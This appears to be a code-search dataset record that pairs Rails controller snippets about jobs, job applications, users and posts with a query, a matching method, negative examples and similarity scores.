"def new\n if params[:id].nil?\n redirect_to \"/\", :alert=>\"You need to apply through a job\"\n return\n end\n\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n\n @application = Application.new\n\n respond_to do |format|\n format.html# new.html.erb\n format.json { render json: @application }\n end\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def index\n if current_user.is_admin\n @applications = Application.all\n puts @applications\n elsif current_user.is_seeker\n @applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)\n elsif current_user.is_biz\n @applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.find(params[:job_id])\n @application = Application.new(application_params)\n @application.job = @job\n @application.user = current_user\n\n if @application.save\n redirect_to developers_applications_path\n else\n redirect_to job_path(@job)\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def application_params\n params.fetch(:application, {}).permit(:job_id)\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def find_job(job_id)\n response = HTTParty.get(\"#{@host}/api/jobs/#{job_id}\")\n\n return response['job']\n end",
"def jobapplication_params\n params.require(:jobapplication).permit(:job_id, :jobseeker_id, :coverletter, :status)\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def job_get(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n add_breadcrumb @job_application, @job_application\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @applicant_jobs = ApplicantJob.all\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @users = User.find :all\n @job_postings = JobPosting.find :all\n \n respond_to do |format|\n if @job_application.save\n flash[:notice] = 'JobApplication was successfully created.'\n format.html { redirect_to(@job_application) }\n format.xml { render :xml => @job_application, :status => :created, :location => @job_application }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.job_applications.where(job_id: params[:job_application][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('job_applications_controller.job_applications_create_error') }\n end\n else\n @job_application = current_user.job_applications.new(job_application_params)\n #Create EQ Answers\n if params.has_key?(\"answer\")\n Answer.create(eq_answer_params(params[\"answer\"]))\n else\n params[\"answers\"].each do |answer|\n Answer.create(eq_answer_params(answer))\n end\n end\n #Create EQ Answers end\n respond_to do |format|\n if @job_application.save\n @job = @job_application.job\n @job_owner = @job_application.job.users.first\n @applicant = current_user\n UserMailer.new_job_applicant_email(@job, @job_owner, @applicant ).deliver_now\n format.html { redirect_to worker_all_jobs_path, notice: t('job_applications_controller.job_applications_create_success') }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def get_job_status id\n response = get \"http://#{@host}/loadbalancers/tenant/#{@tenant}/jobs/#{id}\"\n raise LBModelException.new \"Expected HTTP 200 but got #{response.code} instead\" unless response.code == 200\n\n JSON.parse(response)\n end",
"def create\n @jobapp = Jobapp.new(jobapp_params)\n\n if @jobapp.save\n flash[:success] = \"Jobapp was successfully created.\"\n redirect_to action: \"index\"\n else\n @jobapps = Jobapp.all\n\n render :new, locals: {jobapp: @jobapp,jobapps: @jobapps}\n end\n end",
"def application(job,params={})\n if (@application[extract_job(job)] && !params[:force])\n return @application[extract_job(job)]\n end\n @application[extract_job(job)] = get_application(job)\n end",
"def jobapplication_params\n params.require(:jobapplication).permit(:name, :email, :job_name, :phone, :status, :user_id, :job_id, :coverletter, :major)\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def create\n @application = Application.new(params[:application])\n @application.job = Job.find(params[:id])\n respond_to do |format|\n if @application.save\n format.html { redirect_to '/', notice: 'Application was received.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def job_application_params\n params.require(\n :job_application\n ).permit(\n :resume,\n :job_ad_id,\n :job_seeker_id,\n :recruiter_id\n )\n end",
"def get_job_info(page)\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n response.headers\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs info error: #{err.response}\"\n return nil\n end\nend",
"def new\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def get_applications\n\t\tApplication.where(\"api_user_id = ?\", id)\n\tend",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def set_job_application\n @job_application = current_user.job_applications.find(params[:job_application_id] || params[:id])\n @job_offer = @job_application.job_offer\n end",
"def show\n @job_applications = @job_offer.job_applications.group_by(&:state)\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def job(id, options = {})\n objectify get(\"/job/#{id}\", options)['joblist']['job']\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def create\n @user=current_user\n @job=Job.find(session[:job_id])\n @jobapplication = @user.jobapplications.build(job:@job)\n @jobapplication.name=jobapplication_params[:name]\n @jobapplication.phone=jobapplication_params[:phone]\n @jobapplication.major=jobapplication_params[:major]\n @jobapplication.coverletter=jobapplication_params[:coverletter]\n @jobapplication.status=\"Pending\"\n @[email protected]\n @jobapplication.email=current_user.email\n @[email protected]\n JobNotifier.received(@jobapplication).deliver\n respond_to do |format|\n if @jobapplication.save(jobapplication_params)\n format.html { redirect_to @jobapplication, notice: 'Jobapplication was successfully created.' }\n format.json { render :show, status: :created, location: @jobapplication }\n else\n format.html { render :new }\n format.json { render json: @jobapplication.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7362795",
"0.7349275",
"0.72335106",
"0.7105198",
"0.69650465",
"0.6925819",
"0.6920149",
"0.690324",
"0.69021463",
"0.6707724",
"0.6699148",
"0.6692048",
"0.66343975",
"0.66318995",
"0.66227794",
"0.66227794",
"0.66205984",
"0.6611117",
"0.66103584",
"0.66103584",
"0.66103584",
"0.66103584",
"0.66103584",
"0.66103584",
"0.66103584",
"0.65737486",
"0.65737486",
"0.65621585",
"0.65441525",
"0.65323275",
"0.6513833",
"0.6504125",
"0.6435286",
"0.6427276",
"0.6403046",
"0.6390142",
"0.6375375",
"0.63641083",
"0.6350448",
"0.63421196",
"0.6336922",
"0.6334712",
"0.6282772",
"0.62776655",
"0.62751955",
"0.6274522",
"0.6257514",
"0.6249833",
"0.623343",
"0.62197155",
"0.6219688",
"0.62178826",
"0.62132585",
"0.61995846",
"0.61992174",
"0.6198529",
"0.6178494",
"0.61741567",
"0.61741567",
"0.6166761",
"0.61543363",
"0.6153132",
"0.6152735",
"0.61473155",
"0.613966",
"0.6126135",
"0.6119882",
"0.611308",
"0.6108394",
"0.6104396",
"0.6103877",
"0.6101875",
"0.6091066",
"0.60898167",
"0.6089215",
"0.608293",
"0.6082551",
"0.6081387",
"0.6077138",
"0.6074123",
"0.6072971",
"0.60702604",
"0.6061808",
"0.60345614",
"0.6032837",
"0.60279924",
"0.6018524",
"0.6016586",
"0.60046583",
"0.5999141",
"0.5990983",
"0.59868246",
"0.59826964",
"0.5981687",
"0.5981103",
"0.5981103",
"0.5981103",
"0.5981103",
"0.5981103",
"0.5978677",
"0.5965447"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_job_application
@job_application = current_user.job_applications.find(params[:job_application_id] || params[:id])
@job_offer = @job_application.job_offer
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
this shows the user's own posts, as user_posts(user)
|
def index
@user_posts = Post.where(user_id: current_user.id).where(active: true).order("created_at DESC")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @posts = Post.user_posts current_user\n end",
"def show\n @posts = @user.posts\n end",
"def show\n\n @posts = @user.posts #11/19 Mypostsを表示\n end",
"def index\n @posts = @current_user.posts\n end",
"def show\n \tif(logged_in)\n \t\t@posts = User.find(@user.id).posts\n \telse\n \t\treturn\n \tend\n end",
"def index\n @posts = current_user.posts\n end",
"def index\n @posts = current_user.posts\n\n end",
"def get_user_posts\n Post.joins(:user).where(users: {id: self.id})\n end",
"def show\n user = Userinfo.find(params[:id])\n\n @posts = user.posts\n end",
"def show\n # gives us the user object for the current profile we're looking at.\n @user = User.find_by(user_name: params[:user_name])\n @posts = User.find_by(user_name: params[:user_name]).posts.order('created_at DESC')\n end",
"def show\n @user = User.find_by(id: params[:id])\n @posts = @user.posts\n end",
"def show\n @user = User.friendly.find(params[:id])\n @user_posts = @user.posts.all.order(\"created_at desc\")\n @posts = Post.all.order(\"created_at desc\")\n end",
"def show\n @user = User.where(id: @post.user_id)[0]\n @likes = UserLike.where(post_id: @post.id)\n end",
"def show\n @posts = Post.where(author_uid: @user.uid, show: true).limit(9).order('created_at desc')\n @count = Post.where(author_uid: @user.uid, show: true).count()\n end",
"def show\n posts = policy_scope(@user.posts)\n postables = posts.map(&:postable).uniq\n\n @postables = postables.map do |p|\n [p, p.posts.where(user: @user).last, p.posts.where(user: @user).count]\n end\n @postables.sort! do |a, b|\n b[1].created_at <=> a[1].created_at\n end\n\n @postables = Kaminari.paginate_array(@postables)\n .page(params[:page])\n .per(15)\n end",
"def view_posts\n self.user.posts.map do |post|\n post.reload.content\n end\n end",
"def index\n @posts = Post.where(user_id: current_user)\n end",
"def index\n @user_posts = UserPost.all\n end",
"def show\n @user = User.find(@post.user_id)\n end",
"def show\n @user = User.friendly.find(params[:id])\n @posts = @user.posts.order(:created_at).page params[:page]\n end",
"def show\n @user = User.find_by username: params[:username]\n @posts = Post.where user_id: @user.id\n @posts = @posts.reverse\n end",
"def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n @user_posts = @user.posts.paginate(page: params[:page]).order('created_at DESC')\n \n end",
"def posts\n @user = User.find(params[:id])\n redirect_to posts_path if !current_user.admin? && [email protected]?\n @posts = @user.posts.order(\"created_at DESC\")\n end",
"def my_posts\n Post.where(user_id: self.id)\n end",
"def show\n if (!@isLogin || !@isValidUser)\n return\n end\n @posts = @user.posts\n end",
"def show\n @my_posts = @good.good_posts.select{|p| p.user == current_user }\n end",
"def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n if current_user == @user\n @posts = current_user.feed.paginate(page: params[:page]) \n else\n @posts = @user.posts.paginate(page: params[:page])\n end\n end",
"def index\n if params[:user_id]\n @posts = Post.where(user_id: params[:user_id])\n else\n @posts = current_user.posts\n end\n end",
"def display_user_posts(posts)\n posts.reduce(String.new) do |string, post|\n string << (tag.td truncate(post.title, length: post_title_length))\n end\n .html_safe\n end",
"def index\n @posts = Post.all\n @user = current_user\n end",
"def show\n @user = User.find(params[:id])\n @post = Post.new\n @posts = @user.posts.paginate(:page => params[:page], :per_page => 10)\n @title = @user.name\n end",
"def get_posts_for_user\n @posts = policy_scope(Post)\n end",
"def show\n @user = User.includes(:posts).find(params[:id])\n end",
"def show\n @user = page_user\n @posts = @user.posts\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n format.json { render :json => @user }\n end\n end",
"def index\n if params[:user_id]\n @user = User.find(params[:user_id])\n @posts = @user.posts\n render :layout => \"user\"\n else\n @posts = current_user.stream_posts\n render :layout => \"home\"\n end\n end",
"def show\n @post = Post.new\n @user = User.find params[:id]\n @posts = Post.where(\"user_id = ?\", @user[:id])\n @title = \"Profile: \" + @user.username\n end",
"def user_post\n @posts = Post.where(user_id: current_user.id)\n\n if @posts.nil?\n render :json => {message: \"Cannot find post\" }\n end\n\n render :index\n end",
"def index\n # @posts = Post.all\n # we want to scope the posts to the current user only\n @posts = current_user.posts\n end",
"def posts(user)\n posts = user.posts\n # NOTE: As for the difference between present?, empty?, any?, exists?, see the following page.\n # https://semaphoreci.com/blog/2017/03/14/faster-rails-how-to-check-if-a-record-exists.html\n return '' if posts.empty?\n posts.pluck(:content).join('|')\n end",
"def show\n \n #@user = User.find_by_username(params[:slug])\n @post = Post.new\n @user =\n @profile = Profile.find_by_user_id(User.find_by_username(params[:slug]).id)\n @user = User.find(@profile.user_id)\n if current_user == @user\n @posts = Post.paginate_all_by_user_id(@user.followers.map(& :id).push(@user.id), :page => params[:page], :per_page => 10, :order=>'created_at desc')\n else\n @posts = Post.paginate_all_by_user_id(@user.id, :page => params[:page], :per_page => 10, :order=>'created_at desc')\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end",
"def index\n @posts = Post.where(:user_id => current_user.id).order(\"created_at DESC\")\n #@posts = Post.all.order(\"created_at DESC\")\n #this post also saves lives\n #https://stackoverflow.com/questions/25831594/devise-how-to-show-users-post\n \n end",
"def show\n\t\t@posts = @user.posts.page(params[:page])\n\tend",
"def index\n posts = Post.all\n @posts = posts.where('user_id in (?)', current_user.id) if current_user.admin?\n @posts = posts\n end",
"def user_submissions\n @posts = Post.all.where(\"user_id = ?\", current_user.id)\n end",
"def view(user, friend)\n\t\tpost = UserPost.where(user1_id: user, user2_id: friend)\n\tend",
"def profile\n if @user == current_user or current_user.friends.include?(@user)\n posts = @user.posts\n else\n posts = @user.posts.where(is_public: true)\n end\n\n posts = posts.order(\"created_at DESC\")\n posts = add_image_and_user_to_post(posts)\n\n render json: posts, status: :ok\n end",
"def get_public_posts(user_id)\n return db.execute(\"SELECT * FROM post WHERE user_id = ? AND public = ?\",user_id, \"on\")\n end",
"def archive_mine\n\t\tif params[:user_id]\n\t\t\t@posts = Post.where(user_id: User.find(params[:user_id]).id).reverse\n\t\telse\n\t\t\t@posts = Post.where(user_id: current_user.id).reverse\n\t\tend\n\tend",
"def all\n post_owners = [current_user.id] + Friendship.where(:user2_id => current_user, :approved => true).pluck(:user1_id)\n @posts = Post.where('owner_id' => post_owners).order(created_at: :desc).page(params[:page]).per_page(POSTS_PER_PAGE)\n end",
"def posts\n @user = User.find(params[:id])\n end",
"def show\n @followers = @user.followers\n @followings = @user.followings\n @post = Post.new\n end",
"def index\n @all_posts = [] + current_user.posts\n current_user.friends.each { |friend| friend.posts.each { |post| @all_posts.push post } }\n @posts = @all_posts\n puts @posts.inspect\n end",
"def index\n if @user.nil?\n redirect_message\n # @posts = Post.all\n else\n @posts = @user.posts\n end\n \n end",
"def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end",
